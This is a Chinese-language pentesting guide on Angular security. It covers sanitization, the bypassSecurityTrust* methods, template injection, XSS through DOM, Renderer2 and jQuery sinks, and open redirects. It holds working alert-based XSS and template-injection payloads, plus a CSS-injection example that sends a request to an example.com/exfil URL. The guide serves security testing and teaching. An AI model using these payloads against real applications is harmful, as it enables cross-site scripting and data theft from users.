hacktricks/network-services-pentesting/pentesting-web/angular.md

24 KiB
Raw Blame History

Angular

检查清单

检查清单在这里

  • Angular被视为客户端框架不应提供服务器端保护
  • 项目配置中已禁用脚本的Sourcemap
  • 不可信用户输入在在用于模板之前始终进行插值或清理
  • 用户无法控制服务器端或客户端模板
  • 不可信用户输入在被应用程序信任之前使用适当的安全上下文进行清理
  • 不要使用BypassSecurity*方法处理不可信输入
  • 不要将不可信用户输入传递给Angular类ElementRefRenderer2Document或其他JQuery/DOM接收器

什么是Angular

Angular是由Google维护的强大开源的前端框架。它使用TypeScript来增强代码的可读性和调试性。具有强大的安全机制Angular可以防止常见的客户端漏洞XSS开放式重定向。它也可以在服务器端使用,因此从两个角度考虑安全性是很重要的。

框架架构

为了更好地理解Angular的基础知识让我们了解其基本概念。

通常常见的Angular项目看起来像

my-workspace/
├── ... #workspace-wide configuration files
├── src
│   ├── app
│   │   ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│   │   ├── app.component.ts #defines the logic for the application's root component
│   │   ├── app.component.html #defines the HTML template associated with the root component
│   │   ├── app.component.css #defines the base CSS stylesheet for the root component
│   │   ├── app.component.spec.ts #defines a unit test for the root component
│   │   └── app-routing.module.ts #provides routing capability for the application
│   ├── lib
│   │   └── src #library-specific configuration files
│   ├── index.html #main HTML page, where the component will be rendered in
│   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

根据文档每个Angular应用程序至少有一个组件即根组件AppComponent它将组件层次结构与DOM连接起来。每个组件定义一个包含应用程序数据和逻辑的类并与定义要在目标环境中显示的视图的HTML模板相关联。@Component()装饰器将其下方的类标识为组件,并提供模板和相关的组件特定元数据。AppComponent定义在app.component.ts文件中。

Angular NgModules为一组组件声明了一个编译上下文专门用于应用程序域、工作流程或一组密切相关的功能。每个Angular应用程序都有一个根模块通常命名为AppModule,它提供了启动应用程序的引导机制。一个应用程序通常包含许多功能模块。AppModule定义在app.module.ts文件中。

Angular的Router NgModule提供了一个服务让您在应用程序中定义不同应用程序状态和视图层次之间的导航路径。RouterModule定义在app-routing.module.ts文件中。

对于与特定视图无关且希望在组件之间共享的数据或逻辑,您可以创建一个服务类。服务类定义紧随@Injectable()装饰器之后。该装饰器提供元数据允许其他提供者作为依赖项注入到您的类中。依赖注入DI使您可以保持组件类的精简和高效。它们不会从服务器获取数据验证用户输入或直接记录到控制台它们将这些任务委托给服务。

Sourcemap配置

Angular框架通过遵循tsconfig.json选项将TypeScript文件转换为JavaScript代码然后使用angular.json配置构建项目。查看angular.json文件我们观察到一个选项可以启用或禁用sourcemap。根据Angular文档默认配置为脚本启用了sourcemap文件并且默认情况下不会隐藏

"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

数据绑定

绑定是指组件与其对应视图之间的通信过程。它用于在 Angular 框架中传输数据。数据可以通过各种方式传递,例如通过事件、插值、属性,或通过双向绑定机制。此外,数据还可以在相关组件(父子关系)之间共享,也可以通过 Service 功能在两个不相关的组件之间共享。

我们可以通过数据流来分类绑定:

  • 数据源到视图目标(包括插值、属性、属性、类和样式);可以通过在模板中使用 []{{}} 来应用;
  • 视图目标到数据源(包括事件);可以通过在模板中使用 () 来应用;
  • 双向绑定;可以通过在模板中使用 [()] 来应用。

绑定可以应用于属性、事件和属性,以及源指令的任何公共成员:

类型 目标 示例
属性 元素属性、组件属性、指令属性 <img [alt]="hero.name" [src]="heroImageUrl">
事件 元素事件、组件事件、指令事件 <button type="button" (click)="onSave()">Save
双向绑定 事件和属性 <input [(ngModel)]="name">
属性 属性(例外) <button type="button" [attr.aria-label]="help">help
类属性 <div [class.special]="isSpecial">Special
样式 样式属性 <button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Angular 安全模型

Angular 的设计默认包括对所有数据进行编码或净化,这使得在 Angular 项目中发现和利用 XSS 漏洞变得越来越困难。数据处理有两种不同的场景:

  1. 插值或 {{user_input}} - 执行上下文敏感的编码,并将用户输入解释为文本;
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

结果:&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. 绑定到属性、属性、类和样式或 [attribute]="user_input" - 根据提供的安全上下文执行净化。

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

结果:<div><h1>test</h1></div>

有 6 种 SecurityContext 类型:

  • None
  • HTML 用于将值解释为 HTML 时使用;
  • STYLE 用于将 CSS 绑定到 style 属性时使用;
  • URL 用于 URL 属性,例如 <a href>
  • SCRIPT 用于 JavaScript 代码;
  • RESOURCE_URL 用于作为代码加载和执行的 URL例如在 <script src> 中。

漏洞

绕过安全信任方法

Angular 引入了一系列方法来绕过其默认的净化过程,并指示某个值可以在特定上下文中安全使用,如以下五个示例所示:

  1. bypassSecurityTrustUrl 用于指示给定值是安全的样式 URL
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>

//result
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
  1. bypassSecurityTrustResourceUrl 用于指示给定值是安全的资源 URL
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//result
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml 用于指示给定值是安全的 HTML。请注意以这种方式将 script 元素插入 DOM 树不会导致执行其中包含的 JavaScript 代码,因为这些元素是如何添加到 DOM 树的。
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//result
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript 用于指示给定值是安全的 JavaScript。然而我们发现其行为是不可预测的因为我们无法使用此方法在模板中执行 JS 代码。
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//result
-
  1. bypassSecurityTrustStyle 用于指示给定值是安全的 CSS。以下示例说明了 CSS 注入:
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//result
Request URL: GET example.com/exfil/a

Angular 提供了一个 sanitize 方法,在在将数据显示在视图之前对其进行净化。该方法使用提供的安全上下文并相应地清理输入。然而,对于特定数据和上下文,使用正确的安全上下文至关重要。例如,在 HTML 内容上应用具有 SecurityContext.URL 的净化器并不提供对危险 HTML 值的保护。在这种情况下,错误使用安全上下文可能导致 XSS 漏洞。

//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

结果是 <div><h1>测试</h1></div>

模板注入

客户端渲染CSR

Angular利用模板动态构建页面。该方法涉及将Angular用于评估的模板表达式置于双大括号内{{}})。通过这种方式,该框架提供了额外的功能。例如,一个模板如 {{1+1}} 将显示为2。

通常Angular会转义可能与模板表达式混淆的用户输入例如字符 `< > ' " `\。这意味着需要采取额外步骤来规避此限制例如利用生成JavaScript字符串对象的函数以避免使用被列入黑名单的字符。然而要实现这一点我们必须考虑Angular的上下文、其属性和变量。因此模板注入攻击可能如下所示

//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

服务器端渲染SSR

与CSR不同CSR发生在浏览器的DOM中Angular Universal负责模板文件的SSR。然后将这些文件传送给用户。尽管有这种区别Angular Universal应用了与CSR中相同的净化机制来增强SSR的安全性。在SSR中可以像在CSR中一样发现模板注入漏洞因为所使用的模板语言是相同的。

当使用第三方模板引擎如Pug和Handlebars也存在引入新的模板注入漏洞的可能性。

XSS

DOM接口

如前所述我们可以使用_Document_接口直接访问DOM。如果用户输入未经事先验证可能会导致跨站脚本XSS漏洞。

我们在下面的示例中使用了document.write()document.createElement()方法:

//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Angular类

在Angular中可以使用一些类来处理DOM元素ElementRefRenderer2LocationDocument。关于最后两个类的详细描述在开放重定向部分中给出。前两者的主要区别在于Renderer2 API在DOM元素和组件代码之间提供了一层抽象ElementRef只是保存对元素的引用。因此根据Angular文档只有在需要直接访问DOM时才应该使用ElementRef API。

  • ElementRef包含属性nativeElement可用于操作DOM元素。然而不正确使用nativeElement可能导致XSS注入漏洞如下所示
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • 尽管Renderer2提供的API可以安全地在不支持对原生元素的直接访问时使用但它仍然存在一些安全漏洞。使用Renderer2,可以使用setAttribute()方法在HTML元素上设置属性该方法没有XSS预防机制。
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • 要设置DOM元素的属性可以使用Renderer2.setProperty()方法并触发XSS攻击
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

在我们的研究过程中,我们还检查了其他Renderer2方法的行为,如setStyle()createComment()setValue()以及与XSS和CSS注入相关的关系。然而由于它们的功能限制我们无法找到这些方法的任何有效攻击向量。

jQuery

jQuery是一个快速、小巧且功能丰富的JavaScript库可以在Angular项目中用于操作HTML DOM对象。然而众所周知该库的方法可能被利用以实现XSS漏洞。为了讨论一些易受攻击的jQuery方法如何在Angular项目中被利用我们添加了这个子部分。

  • html()方法获取匹配元素集合中第一个元素的HTML内容或设置每个匹配元素的HTML内容。然而根据设计任何接受HTML字符串的jQuery构造函数或方法都可能执行代码。这可以通过注入<script>标签或使用执行代码的HTML属性来实现如示例所示。
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • jQuery.parseHTML()方法使用原生方法将字符串转换为一组DOM节点然后可以将其插入文档中。
jQuery.parseHTML(data [, context ] [, keepScripts ])

如前所述大多数接受HTML字符串的jQuery API将运行在HTML中包含的脚本。jQuery.parseHTML()方法不会在解析的HTML中运行脚本除非keepScripts显式设置为true。然而,在大多数环境中仍然可能间接执行脚本;例如,通过<img onerror>属性。

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

开放重定向

DOM接口

根据W3C文档window.locationdocument.location对象在现代浏览器中被视为别名。这就是为什么它们具有一些方法和属性的相似实现这可能导致开放重定向和DOM XSS特别是在javascript://模式攻击中。

  • window.location.href(和document.location.href)

获取当前DOM位置对象的规范方式是使用window.location。它也可以用于将浏览器重定向到新页面。因此,控制此对象使我们能够利用开放重定向漏洞。

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

对于以下情况,利用过程是相同的。

  • window.location.assign()(和document.location.assign())

此方法导致窗口加载并显示指定URL的文档。如果我们控制此方法它可能成为开放重定向攻击的漏洞点。

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()(和document.location.replace())

此方法用提供的URL替换当前资源。

assign()方法的不同之处在于使用window.location.replace()后,当前页面不会保存在会话历史中。然而,当我们控制此方法时,仍然可能利用开放重定向漏洞。

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

window.open()方法接受一个URL并将其标识的资源加载到新的或现有的标签或窗口中。控制此方法也可能是触发XSS或开放重定向漏洞的机会。

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Angular类

  • 根据Angular文档Angular Document与DOM文档相同这意味着可以使用常见的向量来利用Angular中的客户端漏洞。Document.location属性和方法可能成为成功的开放重定向攻击的漏洞点,如示例所示:
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
  • 在研究阶段我们还审查了Angular Location类是否存在开放重定向漏洞,但没有找到有效的向量。Location是一个Angular服务应用程序可以使用它与浏览器的当前URL进行交互。该服务有几种方法来操作给定的URL - go()replaceState()prepareExternalUrl()。然而,我们不能将它们用于重定向到外部域。例如:
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

结果:http://localhost:4200/http://google.com/about

  • Angular Router类主要用于在同一域内导航,并不会为应用程序引入任何额外的漏洞:
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

结果:http://localhost:4200/https:

以下方法也在域范围内导航:

const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

参考资料